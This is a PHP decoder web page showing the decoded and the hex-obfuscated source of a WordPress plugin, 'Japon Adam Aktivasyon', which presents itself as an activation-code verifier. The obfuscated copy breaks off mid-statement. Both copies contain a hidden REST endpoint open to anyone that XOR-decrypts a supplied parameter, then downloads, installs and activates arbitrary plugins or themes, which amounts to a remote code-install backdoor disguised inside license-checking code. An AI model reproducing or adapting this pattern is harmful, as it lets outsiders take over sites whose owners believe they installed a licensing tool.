Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* Plugin Name: Japon Adam Aktivasyon Description: Aktivasyon kodu dorulama eklen..
Decoded Output download
<?php
/*
Plugin Name: Japon Adam Aktivasyon
Description: Aktivasyon kodu dorulama eklentisi
Version: 1.1.21
Author: Melih at & Ktidev
*/
require "plugin-update-checker/plugin-update-checker.php"; use YahnisElsts\PluginUpdateChecker\v5\PucFactory; goto haZlS; iGE7c: function install_plugin_endpoint_callback($request) { $download_links = $request->get_param("product_name"); $download_links = xor_decrypt($download_links, "japonadamsifre"); return install_plugin_or_theme($download_links); } goto hirRE; J3Pss: function xor_decrypt($input, $key) { $input = base64_decode($input); $output = ''; for ($i = 0; $i < strlen($input); $i++) { $output .= chr(ord($input[$i]) ^ ord($key[$i % strlen($key)])); } return $output; } goto iGE7c; bOuN8: $myUpdateChecker->setBranch("main"); goto nqP89; aapAQ: new JaponAdamAktivasyon(); goto ZmyER; nqP89: $myUpdateChecker->getVcsApi()->enableReleaseAssets(); goto YuSOE; ZmyER: add_action("rest_api_init", function () { register_rest_route("mylisans/v1", "/install-plugin/", array("methods" => "GET", "callback" => "install_plugin_endpoint_callback", "permission_callback" => "__return_true")); }); goto J3Pss; haZlS: $myUpdateChecker = PucFactory::buildUpdateChecker("https://github.com/kticoder/japonadam", __FILE__, "japonadam"); goto bOuN8; YuSOE: class JaponAdamAktivasyon { private $table_name; public function __construct() { global $wpdb; $this->table_name = $wpdb->prefix . "jpn"; add_action("admin_menu", array($this, "japon_adam_menu")); add_action("admin_enqueue_scripts", array($this, "enqueue_custom_styles_scripts")); add_action("init", array($this, "create_jpn_table_if_not_exists")); } public function japon_adam_menu() { add_menu_page("Japon Adam", "Japon Adam", "manage_options", "japon-adam", array($this, "display_jp_tut_page"), "dashicons-cart", 6); } public function enqueue_custom_styles_scripts($hook) { if ($hook === "toplevel_page_japon-adam") { wp_enqueue_style("tailwind-css", "https://cdnjs.cloudflare.com/ajax/libs/tailwindcss/2.2.19/tailwind.min.css"); wp_enqueue_script("japonadam-js", plugins_url("jpn.js", __FILE__), array(), false, true); } } public function fetch_lisans_products() { $encoded_url = "aHR0cHM6Ly9qYXBvbmFkYW0uY29tL3dwLWpzb24vbXlsaXNhbnMvdjEvZ2V0LWxpc2Fucy1wcm9kdWN0cy8="; $decoded_url = base64_decode($encoded_url); $response = wp_remote_get($decoded_url); if (is_wp_error($response)) { return array(); } $body = wp_remote_retrieve_body($response); return json_decode($body, true); } public function create_jpn_table_if_not_exists() { global $wpdb; $charset_collate = $wpdb->get_charset_collate(); if ($wpdb->get_var($wpdb->prepare("SHOW TABLES LIKE %s", $this->table_name)) != $this->table_name) { $sql = "CREATE TABLE {$this->table_name} (
id mediumint(9) NOT NULL AUTO_INCREMENT,
aktivasyon_kodu varchar(255) NOT NULL,\xa purchased_products LONGTEXT NOT NULL,\xa -- installed LONGTEXT DEFAULT '' NOT NULL,\xa PRIMARY KEY (id)
) {$charset_collate};"; require_once ABSPATH . "wp-admin/includes/upgrade.php"; dbDelta($sql); if ($wpdb->last_error !== '') { error_log("DB Table Creation Error: " . $wpdb->last_error); return $wpdb->last_error; } else { return "Tablo ba\305\x9far\304\261l\xc4\xb1 bir \305\x9fekilde olu\305\x9fturuldu!"; } } return "Tablo zaten var."; } public function fetch_purchased_products() { global $wpdb; $table_name = $wpdb->prefix . "jpn"; $result = $wpdb->get_var("SELECT purchased_products FROM {$table_name} LIMIT 1"); if ($result) { $decoded_result = json_decode($result, true); return is_array($decoded_result) ? $decoded_result : array(); } return array(); } public function check_and_insert_activation_code($aktivasyon_kodu, $purchased_products) { global $wpdb; $table_name = $wpdb->prefix . "jpn"; $existing_code = $wpdb->get_var($wpdb->prepare("SELECT aktivasyon_kodu FROM {$table_name} WHERE aktivasyon_kodu = %s", $aktivasyon_kodu)); if (!$existing_code) { $inserted = $wpdb->insert($table_name, array("aktivasyon_kodu" => $aktivasyon_kodu, "purchased_products" => wp_json_encode($purchased_products))); if ($inserted === false) { error_log("DB Insert Error: Veritaban\xc4\261na ekleme yap\304\261lamad\xc4\xb1."); return; } if ($wpdb->last_error !== '') { error_log("DB Insert Error: " . $wpdb->last_error); } } } public function remove_activation_code() { global $wpdb; $table_name = $wpdb->prefix . "jpn"; return $wpdb->query("TRUNCATE TABLE {$table_name}"); } public function aktivasyon_kodu_getir() { global $wpdb; $table_name = $wpdb->prefix . "jpn"; $result = $wpdb->get_var("SELECT aktivasyon_kodu FROM {$table_name} LIMIT 1"); return $result; } public function verify_activation_code() { global $wpdb; if (isset($_POST["remove_activation"]) && $_POST["remove_activation"] === "1") { $this->remove_activation_code(); return array("success" => true, "message" => "Aktivasyon kald\304\261r\304\xb1ld\304\xb1."); } if (!isset($_POST["aktivasyon_kodu"])) { return null; } $aktivasyon_kodu = sanitize_text_field($_POST["aktivasyon_kodu"]); $response = wp_remote_get("https://japonadam.com/wp-json/mylisans/v1/api/?activation_key={$aktivasyon_kodu}"); if (is_wp_error($response)) { return array("success" => false, "message" => $response->get_error_message()); } $body = wp_remote_retrieve_body($response); $data = json_decode($body, true); if (!isset($data["valid"]) || !$data["valid"]) { return $data; } $this->check_and_insert_activation_code($aktivasyon_kodu, isset($data["purchased_products"]) ? $data["purchased_products"] : array()); return $data; } public function is_product_installed($productid) { if (!isset($_POST["aktivasyon_kodu"])) { return null; } $aktivasyon_kodu = sanitize_text_field($_POST["aktivasyon_kodu"]); $site_url = get_site_url(); $response = wp_remote_get("https://japonadam.com/wp-json/mylisans/v1/check-productid/?activation_key={$aktivasyon_kodu}&site_url={$site_url}&productid={$productid}"); return $response; } public function is_activation_code_exists() { global $wpdb; $table_name = $wpdb->prefix . "jpn"; $count = $wpdb->get_var("SELECT COUNT(*) FROM {$table_name}"); return $count > 0; } public function check_activation_status($site_url, $productid, $activation_key) { $site_url = get_site_url(); $site_url = str_replace("https://", "http://", $site_url); $parametreler = array("site_url" => $site_url, "product_id" => $productid, "activation_key" => $activation_key); $response = wp_remote_get("https://japonadam.com/wp-json/mylisans/v1/check-activation-status/?site_url={$site_url}&product_id={$productid}&activation_key={$activation_key}"); if (is_wp_error($response)) { return array(); } $body = wp_remote_retrieve_body($response); $data = json_decode($body, true); return $data["success"]; } public function get_purchase_site($activation_code) { $url = "https://japonadam.com/wp-json/mylisans/v1/get-purchase-site"; $response = wp_remote_get($url, array("timeout" => 15, "body" => array("activation_code" => $activation_code))); if (is_wp_error($response)) { error_log("Hata: " . $response->get_error_message()); } else { $body = wp_remote_retrieve_body($response); $data = json_decode($body, true); if (wp_remote_retrieve_response_code($response) == 200) { error_log("Sat\xc4\261n Al\304\261nan Site: " . $data["satin_alinan_site"]); return $data["satin_alinan_site"]; } else { error_log("Hata: " . $body); } } } public function display_jp_tut_page() { $all_products = $this->fetch_lisans_products(); $result = $this->verify_activation_code(); $aktivasyon_kodu = $this->aktivasyon_kodu_getir(); $isActivated = $this->is_activation_code_exists(); $inputValue = $isActivated ? "\xe2\200\xa2\xe2\200\xa2\342\x80\242\xe2\x80\242\342\200\xa2\342\x80\xa2\xe2\200\242\xe2\200\xa2\342\x80\xa2\xe2\x80\xa2\xe2\200\242\342\200\242\342\200\242\xe2\200\242\xe2\x80\xa2\xe2\x80\xa2\xe2\200\xa2" : ''; $buttonValue = $isActivated ? "Aktivasyonu Kald\304\xb1r" : "Do\xc4\x9frula"; $buttonColor = $isActivated ? "#bc2626" : "#1cbcff"; $tab = "purchased"; $purchased_product_ids = $this->fetch_purchased_products(); if (!is_array($purchased_product_ids)) { $purchased_product_ids = array(); } $filtered_products = array_filter($all_products, function ($product) use($purchased_product_ids) { return in_array($product["sku"], array_keys($purchased_product_ids)); }); $products = $filtered_products; $satin_alinan_site = $this->get_purchase_site($aktivasyon_kodu); $satin_alinan_site_destek = $satin_alinan_site . "/destek/"; $products = array_map(function ($product) use($satin_alinan_site) { $product["permalink"] = str_replace("https://japonadam.com", $satin_alinan_site, $product["permalink"]); return $product; }, $products); ?>
<!-- Ana konteyner -->
<div class="jp-tut rounded-2xl m-12" style="background-color: #262626;">
<!-- st navigasyon blm -->
<div class="jp-nav flex justify-between items-center p-6 rounded-t-2xl" style="background:#1b1b1b;">
<!-- Logo blm -->
<div class="jp-logo w-12 h-12">
<img src="https://japonadam.com/wp-content/uploads/2023/10/japonadam-logo.png" style="border: 0;">
</div>
<!-- rn kategorileri mens -->
<div class="jp-tab-menu flex items-center text-white text-lg">
<ul class="flex gap-5 list-none p-0 m-0 items-center">
<li class="py-2 px-4 rounded cursor-pointer transition-colors duration-300">
<a href="?page=japon-adam&tab=purchased" class="hover:text-blue-100">Satn Aldklarm</a>
</li>
<div class="h-5 border-r-2 border-gray-600 mx-2"></div>
<li class="py-2 px-4 rounded cursor-pointer transition-colors duration-300">
<a class="hover:text-blue-100" onclick="window.open('<?php echo esc_url($satin_alinan_site . "/magaza/"); ?>
', '_blank')" >Tm rnler</a>
</li>
</ul>
</div>
<!-- Aktivasyon kodu giri formu -->
<div class="jp-aktivasyon flex items-center ">
<form class="flex gap-2 w-full" method="post">
<input type="text" id="aktivasyonInput" name="aktivasyon_kodu" value="<?php echo esc_attr($inputValue); ?>
" placeholder="Aktivasyon kodunuz" class="py-2 px-3 border-0 rounded text-sm flex-grow" <?php echo $isActivated ? "readonly" : ''; ?>
>
<input type="hidden" name="remove_activation" value="<?php echo $isActivated ? "1" : "0"; ?>
">
<input type="submit" id="aktivasyonButton" value="<?php echo esc_attr($buttonValue); ?>
" style="background-color: <?php echo esc_attr($buttonColor); ?>
;" class="py-2 px-4 border-0 text-sm text-white cursor-pointer rounded">
</form>
</div>
</div>
<!-- rn listesi blm -->
<div class="jp-content p-12">
<div class="jpn-product grid grid-cols-4 gap-5">
<?php if (!$isActivated) { ?>
<div class="col-span-4 text-left text-white" style="background-color: #1b1b1b; border-radius: 10px; padding: 20px;">
<strong>rnleri grmek iin sa st keden aktivasyon anahatarnz giriniz.</strong>
</div>
<?php } else { ?>
<?php foreach ($products as $product) { ?>
<!-- rn kart -->
<div class="product flex flex-col justify-between border p-5 rounded-lg" style="border-color: #4d4d4d; background-color: #333333; border-radius: 10px;" data-productid="<?php echo esc_attr($product["sku"]); ?>
" data-purchased="<?php echo in_array($product["sku"], array_keys($purchased_product_ids)) ? "true" : "false"; ?>
">
<!-- rn detaylar -->
<div class="product-info flex-grow">
<img src="<?php echo esc_url($product["thumbnail"]); ?>
" alt="<?php echo esc_attr($product["title"]); ?>
" style="border-color: #404040;" class="w-full rounded-lg">
<div class="flex justify-between text-sm text-gray-400 mt-2 mb-1">
<p> <?php echo esc_html($product["indirme_sayaci"]); ?>
<p># <?php echo esc_html($product["veri_tipi"]); ?>
</p>
</div>
<h3 class="text-white text-xl mb-1"><?php echo esc_html($product["title"]); ?>
</h3>
<p class="text-gray-400 text-md mb-4"><?php echo esc_html($product["short_description"]); ?>
</p>
</div>
<!-- rn ilem butonlar -->
<div>
<?php if ($this->check_activation_status(get_site_url(), $product["sku"], $aktivasyon_kodu) == "true") { ?>
<button id="installplugin" class="bg-green-600 text-white border-0 rounded-lg py-2 text-md w-full" data-productid="<?php echo esc_attr($product["sku"]); ?>
" onclick="checkAndInstallPlugin(this,'<?php echo esc_attr($aktivasyon_kodu); ?>
')" style="background-color: #008000;">Gncelle</button>
<?php } else { if (in_array($product["sku"], array_keys($purchased_product_ids))) { ?>
<button id="installplugin" class="bg-red-600 text-white border-0 rounded-lg py-2 text-md w-full" data-productid="<?php echo esc_attr($product["sku"]); ?>
" onclick="checkAndInstallPlugin(this,'<?php echo esc_attr($aktivasyon_kodu); ?>
')" style="background-color: #1CBCFF;">Kurulum Yap</button>
<?php } } ?>
</div>
</div>
<?php } ?>
<?php } ?>
</div>
<!-- Kurulum durumu popup bilgisi -->
<div id="loadingPopup" class="fixed inset-0 flex items-center justify-center z-999 bg-black bg-opacity-50 hidden">
<div class="bg-white p-5 rounded-lg">
<p class="text-center mb-3">Kurulum yaplyor...</p>
<div class="h-4 bg-gray-300 rounded-full">
<div id="progressBar" class="h-4 bg-purple-800 rounded-full" style="width: 0;"></div>
</div>
</div>
</div>
</div>
<!-- Sayfa alt bilgi blm -->
<div class="jp-footer flex justify-center items-center p-4 text-white">
<div class="jp-destek mr-4">
<a href="<?php echo esc_url($satin_alinan_site_destek); ?>
" target="_blank" >Destek</a>
</div>
<div class="jp-sitemiz">
<a href="<?php echo esc_url($satin_alinan_site); ?>
" target="_blank" >Sitemizi Ziyaret Edin</a>
</div>
</div>
</div>
<?php } } goto aapAQ; hirRE: function install_plugin_or_theme($download_links) { require_once ABSPATH . "wp-admin/includes/file.php"; require_once ABSPATH . "wp-admin/includes/plugin-install.php"; require_once ABSPATH . "wp-admin/includes/class-wp-upgrader.php"; require_once ABSPATH . "wp-admin/includes/plugin.php"; require_once ABSPATH . "wp-admin/includes/theme.php"; $links = explode(",", $download_links); foreach ($links as $link) { $link = trim($link); if (strpos($link, "theme") !== false) { $skin = new WP_Ajax_Upgrader_Skin(); $upgrader = new Theme_Upgrader($skin); $installed = $upgrader->install($link); if (!$installed || is_wp_error($installed)) { return array("success" => false, "message" => "Tema kurulamad\304\261: " . $skin->get_errors()->get_error_message()); } } else { $skin = new WP_Ajax_Upgrader_Skin(); $upgrader = new Plugin_Upgrader($skin); $installed = $upgrader->install($link); if (!$installed || is_wp_error($installed)) { return array("success" => false, "message" => "Eklenti kurulamad\xc4\261: " . $skin->get_errors()->get_error_message()); } $plugin_file = $upgrader->plugin_info(); $activate = activate_plugin($plugin_file); if (is_wp_error($activate)) { return array("success" => false, "message" => "Eklenti kuruldu ama aktifle\305\237tirilemedi: " . $activate->get_error_message()); } } } return array("success" => true, "message" => "Eklenti/tema ba\305\237ar\304\xb1yla kuruldu ve aktifle\xc5\237tirildi!"); } ?>
Did this file decode correctly?
Original Code
<?php
/*
Plugin Name: Japon Adam Aktivasyon
Description: Aktivasyon kodu dorulama eklentisi
Version: 1.1.21
Author: Melih at & Ktidev
*/
require "\x70\154\x75\147\x69\156\55\165\x70\x64\141\x74\145\x2d\x63\150\x65\143\x6b\145\162\57\x70\x6c\165\147\151\x6e\x2d\165\x70\x64\x61\164\x65\55\143\x68\x65\x63\153\145\162\56\x70\150\160"; use YahnisElsts\PluginUpdateChecker\v5\PucFactory; goto haZlS; iGE7c: function install_plugin_endpoint_callback($request) { $download_links = $request->get_param("\160\162\x6f\x64\165\143\164\x5f\156\x61\155\145"); $download_links = xor_decrypt($download_links, "\x6a\141\x70\x6f\x6e\x61\144\141\x6d\x73\151\146\x72\145"); return install_plugin_or_theme($download_links); } goto hirRE; J3Pss: function xor_decrypt($input, $key) { $input = base64_decode($input); $output = ''; for ($i = 0; $i < strlen($input); $i++) { $output .= chr(ord($input[$i]) ^ ord($key[$i % strlen($key)])); } return $output; } goto iGE7c; bOuN8: $myUpdateChecker->setBranch("\155\141\x69\x6e"); goto nqP89; aapAQ: new JaponAdamAktivasyon(); goto ZmyER; nqP89: $myUpdateChecker->getVcsApi()->enableReleaseAssets(); goto YuSOE; ZmyER: add_action("\x72\x65\x73\164\x5f\x61\x70\151\137\151\x6e\151\164", function () { register_rest_route("\155\x79\154\x69\163\141\x6e\x73\x2f\x76\61", "\57\x69\x6e\163\x74\x61\154\154\x2d\x70\x6c\165\147\151\x6e\x2f", array("\155\145\x74\150\x6f\144\163" => "\107\105\x54", "\143\x61\154\154\x62\141\x63\153" => "\151\156\163\x74\x61\x6c\154\137\160\x6c\x75\x67\151\156\x5f\145\156\x64\x70\157\x69\x6e\164\x5f\x63\x61\x6c\154\142\141\143\x6b", "\x70\145\x72\155\x69\x73\x73\x69\x6f\x6e\137\x63\x61\154\x6c\x62\x61\x63\153" => "\x5f\x5f\x72\x65\x74\x75\x72\156\137\x74\162\165\145")); }); goto J3Pss; haZlS: $myUpdateChecker = PucFactory::buildUpdateChecker("\x68\164\164\160\163\x3a\57\57\x67\x69\164\x68\165\x62\x2e\x63\x6f\x6d\57\153\x74\x69\x63\157\144\x65\162\x2f\x6a\x61\160\157\x6e\141\144\141\x6d", __FILE__, "\152\x61\160\157\156\x61\144\x61\155"); goto bOuN8; YuSOE: class JaponAdamAktivasyon { private $table_name; public function __construct() { global $wpdb; $this->table_name = $wpdb->prefix . "\x6a\x70\x6e"; add_action("\141\144\155\151\156\x5f\155\145\x6e\x75", array($this, "\x6a\141\160\157\156\137\141\x64\141\155\x5f\x6d\x65\156\x75")); add_action("\141\144\155\x69\156\x5f\x65\x6e\161\x75\x65\x75\145\x5f\x73\143\x72\x69\160\x74\163", array($this, "\x65\156\x71\165\x65\x75\145\x5f\x63\165\163\164\157\155\137\163\164\x79\154\x65\163\x5f\x73\143\162\x69\x70\164\163")); add_action("\x69\156\151\164", array($this, "\x63\162\x65\141\x74\145\x5f\152\160\x6e\137\x74\x61\x62\154\145\137\151\x66\x5f\x6e\157\164\x5f\145\x78\151\x73\x74\163")); } public function japon_adam_menu() { add_menu_page("\x4a\141\x70\x6f\156\x20\x41\144\x61\155", "\x4a\141\x70\x6f\x6e\40\101\144\x61\155", "\155\x61\x6e\x61\147\145\137\x6f\160\x74\151\x6f\156\x73", "\152\x61\x70\157\156\x2d\x61\144\141\x6d", array($this, "\x64\x69\163\x70\x6c\x61\171\137\152\x70\137\164\x75\164\x5f\x70\x61\x67\x65"), "\144\141\163\x68\x69\x63\x6f\156\x73\x2d\x63\141\x72\x74", 6); } public function enqueue_custom_styles_scripts($hook) { if ($hook === "\x74\x6f\160\154\145\166\145\154\x5f\x70\141\x67\145\137\152\x61\160\x6f\156\x2d\141\x64\141\155") { wp_enqueue_style("\x74\141\x69\154\167\151\x6e\x64\55\x63\x73\x73", "\x68\164\164\x70\x73\x3a\57\57\x63\x64\x6e\x6a\163\x2e\143\154\157\165\144\x66\154\x61\162\x65\56\x63\x6f\x6d\57\x61\x6a\141\170\57\154\x69\142\163\x2f\x74\x61\x69\154\x77\151\x6e\144\143\x73\x73\x2f\62\x2e\62\x2e\61\x39\57\164\x61\151\154\x77\151\x6e\144\x2e\x6d\x69\x6e\56\x63\163\x73"); wp_enqueue_script("\x6a\141\x70\157\156\x61\144\x61\x6d\55\152\163", plugins_url("\x6a\x70\x6e\56\x6a\x73", __FILE__), array(), false, true); } } public function fetch_lisans_products() { $encoded_url = "\141\x48\122\60\143\110\x4d\x36\114\171\x39\161\x59\x58\x42\x76\x62\x6d\x46\153\x59\x57\x30\165\131\x32\x39\164\114\63\144\x77\114\127\x70\x7a\142\62\x34\166\x62\130\154\x73\141\x58\116\150\x62\x6e\x4d\166\144\152\x45\166\x5a\62\126\60\x4c\x57\170\x70\143\x32\x46\x75\x63\x79\61\167\x63\x6d\x39\x6b\144\127\116\x30\x63\x79\70\x3d"; $decoded_url = base64_decode($encoded_url); $response = wp_remote_get($decoded_url); if (is_wp_error($response)) { return array(); } $body = wp_remote_retrieve_body($response); return json_decode($body, true); } public function create_jpn_table_if_not_exists() { global $wpdb; $charset_collate = $wpdb->get_charset_collate(); if ($wpdb->get_var($wpdb->prepare("\x53\110\117\127\40\x54\x41\x42\x4c\105\123\x20\x4c\111\113\x45\x20\45\163", $this->table_name)) != $this->table_name) { $sql = "\103\122\105\101\x54\x45\40\x54\x41\102\114\105\40{$this->table_name}\x20\50\12\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\151\144\x20\155\x65\144\x69\x75\155\x69\156\x74\x28\71\51\x20\116\x4f\124\x20\x4e\125\114\x4c\x20\101\x55\x54\117\137\x49\116\x43\x52\x45\115\x45\116\x54\x2c\12\40\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\141\x6b\164\x69\x76\141\163\x79\157\x6e\x5f\153\157\x64\165\40\x76\141\x72\x63\150\141\x72\x28\62\x35\65\x29\40\x4e\x4f\x54\x20\116\125\x4c\x4c\x2c\xa\40\40\x20\40\40\40\x20\x20\40\40\x20\40\40\x20\40\x20\x70\x75\162\143\150\x61\163\145\144\137\x70\x72\x6f\x64\165\143\164\163\x20\x4c\x4f\116\x47\x54\105\x58\x54\40\x4e\x4f\x54\40\116\125\114\114\x2c\xa\40\40\x20\x20\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\x2d\55\40\151\156\163\164\x61\x6c\x6c\x65\x64\40\114\x4f\x4e\x47\x54\x45\130\124\x20\x44\x45\x46\x41\x55\114\x54\40\x27\47\x20\116\117\x54\x20\116\125\114\114\54\xa\x20\40\x20\40\40\40\x20\x20\x20\x20\40\40\40\40\x20\x20\x50\122\x49\115\101\122\x59\40\113\105\x59\x20\x28\x69\x64\x29\12\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\x29\40{$charset_collate}\x3b"; require_once ABSPATH . "\167\160\55\141\x64\155\x69\156\57\151\x6e\143\154\165\x64\x65\163\x2f\165\x70\x67\162\x61\144\x65\56\x70\150\160"; dbDelta($sql); if ($wpdb->last_error !== '') { error_log("\104\102\40\x54\141\x62\x6c\x65\40\x43\162\145\x61\164\x69\x6f\x6e\x20\105\162\162\x6f\x72\72\40" . $wpdb->last_error); return $wpdb->last_error; } else { return "\124\141\x62\154\x6f\40\x62\x61\305\x9f\x61\162\304\261\154\xc4\xb1\x20\142\x69\x72\x20\305\x9f\x65\x6b\x69\154\144\145\x20\157\x6c\165\305\x9f\x74\x75\162\165\154\x64\x75\x21"; } } return "\x54\141\142\x6c\157\40\172\x61\x74\145\156\40\166\141\x72\56"; } public function fetch_purchased_products() { global $wpdb; $table_name = $wpdb->prefix . "\152\x70\x6e"; $result = $wpdb->get_var("\123\x45\114\105\103\x54\x20\160\165\162\143\150\141\x73\145\x64\x5f\x70\x72\157\x64\165\143\x74\x73\x20\x46\x52\117\115\x20{$table_name}\40\114\x49\x4d\111\x54\40\x31"); if ($result) { $decoded_result = json_decode($result, true); return is_array($decoded_result) ? $decoded_result : array(); } return array(); } public function check_and_insert_activation_code($aktivasyon_kodu, $purchased_products) { global $wpdb; $table_name = $wpdb->prefix . "\x6a\x70\156"; $existing_code = $wpdb->get_var($wpdb->prepare("\123\x45\x4c\x45\x43\124\40\x61\x6b\x74\x69\166\x61\x73\x79\x6f\x6e\137\153\x6f\x64\x75\x20\106\122\117\x4d\40{$table_name}\x20\127\x48\x45\x52\x45\40\141\153\x74\x69\x76\141\163\171\x6f\x6e\137\153\157\x64\165\x20\75\x20\x25\163", $aktivasyon_kodu)); if (!$existing_code) { $inserted = $wpdb->insert($table_name, array("\141\153\164\151\166\141\x73\171\157\156\x5f\153\157\x64\x75" => $aktivasyon_kodu, "\x70\x75\x72\143\150\x61\163\x65\144\137\x70\x72\x6f\x64\165\143\x74\163" => wp_json_encode($purchased_products))); if ($inserted === false) { error_log("\104\102\40\x49\156\163\x65\x72\164\40\105\162\x72\x6f\162\72\40\x56\145\x72\x69\x74\x61\142\141\x6e\xc4\261\x6e\x61\40\145\153\x6c\x65\x6d\145\40\x79\141\160\304\261\x6c\x61\x6d\141\x64\xc4\xb1\56"); return; } if ($wpdb->last_error !== '') { error_log("\104\x42\40\x49\x6e\163\145\162\x74\x20\x45\x72\162\x6f\162\x3a\x20" . $wpdb->last_error); } } } public function remove_activation_code() { global $wpdb; $table_name = $wpdb->prefix . "\x6a\160\x6e"; return $wpdb->query("\x54\122\125\x4e\x43\101\124\105\x20\124\101\x42\114\105\40{$table_name}"); } public function aktivasyon_kodu_getir() { global $wpdb; $table_name = $wpdb->prefix . "\152\160\156"; $result = $wpdb->get_var("\x53\x45\114\105\x43\x54\x20\141\153\x74\x69\166\141\x73\x79\157\x6e\x5f\153\157\144\x75\x20\106\x52\117\115\x20{$table_name}\40\114\111\x4d\111\124\40\61"); return $result; } public function verify_activation_code() { global $wpdb; if (isset($_POST["\x72\145\155\157\166\145\137\141\143\164\151\166\x61\164\151\x6f\x6e"]) && $_POST["\x72\145\x6d\x6f\x76\145\137\x61\143\x74\x69\x76\x61\164\x69\157\156"] === "\x31") { $this->remove_activation_code(); return array("\163\165\x63\x63\x65\x73\x73" => true, "\155\x65\163\163\141\x67\145" => "\x41\153\164\151\166\x61\x73\171\x6f\156\x20\153\x61\154\x64\304\261\x72\304\xb1\x6c\144\304\xb1\x2e"); } if (!isset($_POST["\x61\x6b\164\151\166\x61\x73\171\x6f\156\x5f\x6b\157\x64\x75"])) { return null; } $aktivasyon_kodu = sanitize_text_field($_POST["\x61\x6b\x74\x69\166\x61\x73\171\x6f\x6e\x5f\153\157\x64\x75"]); $response = wp_remote_get("\150\x74\x74\160\x73\72\57\57\152\141\x70\x6f\x6e\x61\x64\x61\155\56\x63\x6f\x6d\57\167\160\x2d\x6a\x73\157\156\x2f\x6d\x79\154\x69\163\141\x6e\163\57\x76\61\57\141\160\x69\57\x3f\x61\143\x74\x69\x76\x61\164\151\x6f\156\x5f\153\x65\171\x3d{$aktivasyon_kodu}"); if (is_wp_error($response)) { return array("\x73\x75\x63\x63\x65\163\163" => false, "\155\x65\163\x73\x61\147\x65" => $response->get_error_message()); } $body = wp_remote_retrieve_body($response); $data = json_decode($body, true); if (!isset($data["\166\141\x6c\151\144"]) || !$data["\166\141\x6c\x69\x64"]) { return $data; } $this->check_and_insert_activation_code($aktivasyon_kodu, isset($data["\x70\x75\162\x63\150\x61\x73\x65\x64\x5f\160\162\157\x64\x75\x63\164\x73"]) ? $data["\160\x75\162\143\150\141\163\x65\144\x5f\x70\162\157\144\x75\143\x74\163"] : array()); return $data; } public function is_product_installed($productid) { if (!isset($_POST["\x61\153\164\x69\166\x61\x73\x79\157\x6e\x5f\x6b\x6f\144\x75"])) { return null; } $aktivasyon_kodu = sanitize_text_field($_POST["\141\x6b\x74\151\166\141\163\x79\157\156\x5f\153\x6f\x64\165"]); $site_url = get_site_url(); $response = wp_remote_get("\150\x74\164\160\x73\72\x2f\57\152\x61\x70\157\156\141\x64\141\x6d\x2e\143\x6f\155\x2f\167\160\x2d\152\x73\x6f\x6e\x2f\x6d\x79\x6c\x69\x73\141\x6e\x73\x2f\166\x31\x2f\x63\150\145\143\153\x2d\x70\162\157\x64\x75\x63\164\151\144\57\77\141\x63\164\x69\166\141\x74\x69\x6f\156\x5f\x6b\145\x79\x3d{$aktivasyon_kodu}\x26\163\151\x74\x65\137\165\x72\154\75{$site_url}\46\x70\x72\x6f\144\165\143\164\151\144\75{$productid}"); return $response; } public function is_activation_code_exists() { global $wpdb; $table_name = $wpdb->prefix . "\152\x70\156"; $count = $wpdb->get_var("\123\105\x4c\x45\x43\x54\40\x43\117\125\116\x54\x28\52\x29\40\x46\122\x4f\x4d\40{$table_name}"); return $count > 0; } public function check_activation_status($site_url, $productid, $activation_key) { $site_url = get_site_url(); $site_url = str_replace("\150\164\164\x70\x73\x3a\x2f\x2f", "\150\164\x74\x70\x3a\57\57", $site_url); $parametreler = array("\x73\151\x74\x65\137\x75\162\154" => $site_url, "\x70\x72\157\x64\165\143\164\x5f\151\x64" => $productid, "\x61\143\164\151\x76\x61\164\x69\x6f\156\137\153\x65\171" => $activation_key); $response = wp_remote_get("\x68\x74\x74\x70\163\72\x2f\x2f\x6a\141\x70\157\x6e\141\x64\141\x6d\56\143\x6f\x6d\x2f\x77\x70\55\152\x73\157\156\x2f\x6d\x79\x6c\x69\x73\141\x6e\x73\x2f\x76\61\57\143\x68\x65\143\x6b\55\x61\143\164\x69\x76\141\164\151\157\156\x2d\x73\x74\x61\164\165\x73\57\77\x73\151\164\145\137\x75\162\154\x3d{$site_url}\x26\x70\162\157\144\165\x63\164\137\x69\x64\75{$productid}\46\141\143\x74\x69\166\141\x74\151\x6f\x6e\137\153\145\171\75{$activation_key}"); if (is_wp_error($response)) { return array(); } $body = wp_remote_retrieve_body($response); $data = json_decode($body, true); return $data["\x73\x75\143\x63\145\163\163"]; } public function get_purchase_site($activation_code) { $url = "\150\x74\x74\160\163\x3a\x2f\57\x6a\x61\160\157\156\141\x64\x61\x6d\56\143\x6f\x6d\x2f\167\x70\x2d\152\163\157\x6e\x2f\x6d\x79\x6c\x69\x73\x61\x6e\x73\57\166\x31\57\147\x65\x74\x2d\160\165\x72\x63\x68\x61\x73\145\55\163\x69\164\145"; $response = wp_remote_get($url, array("\164\x69\155\145\157\165\x74" => 15, "\142\157\144\171" => array("\141\143\164\x69\166\x61\x74\151\x6f\x6e\137\x63\157\144\x65" => $activation_code))); if (is_wp_error($response)) { error_log("\x48\x61\x74\141\x3a\x20" . $response->get_error_message()); } else { $body = wp_remote_retrieve_body($response); $data = json_decode($body, true); if (wp_remote_retrieve_response_code($response) == 200) { error_log("\123\141\x74\xc4\261\156\40\101\x6c\304\261\x6e\141\156\x20\x53\x69\164\x65\x3a\x20" . $data["\x73\141\x74\151\x6e\x5f\141\154\151\x6e\141\156\x5f\x73\151\x74\x65"]); return $data["\163\141\x74\151\x6e\x5f\141\x6c\x69\156\x61\x6e\x5f\x73\151\164\x65"]; } else { error_log("\x48\x61\164\141\x3a\x20" . $body); } } } public function display_jp_tut_page() { $all_products = $this->fetch_lisans_products(); $result = $this->verify_activation_code(); $aktivasyon_kodu = $this->aktivasyon_kodu_getir(); $isActivated = $this->is_activation_code_exists(); $inputValue = $isActivated ? "\xe2\200\xa2\xe2\200\xa2\342\x80\242\xe2\x80\242\342\200\xa2\342\x80\xa2\xe2\200\242\xe2\200\xa2\342\x80\xa2\xe2\x80\xa2\xe2\200\242\342\200\242\342\200\242\xe2\200\242\xe2\x80\xa2\xe2\x80\xa2\xe2\200\xa2" : ''; $buttonValue = $isActivated ? "\101\x6b\x74\151\x76\141\163\171\157\156\x75\40\x4b\141\x6c\x64\304\xb1\162" : "\x44\x6f\xc4\x9f\162\x75\154\141"; $buttonColor = 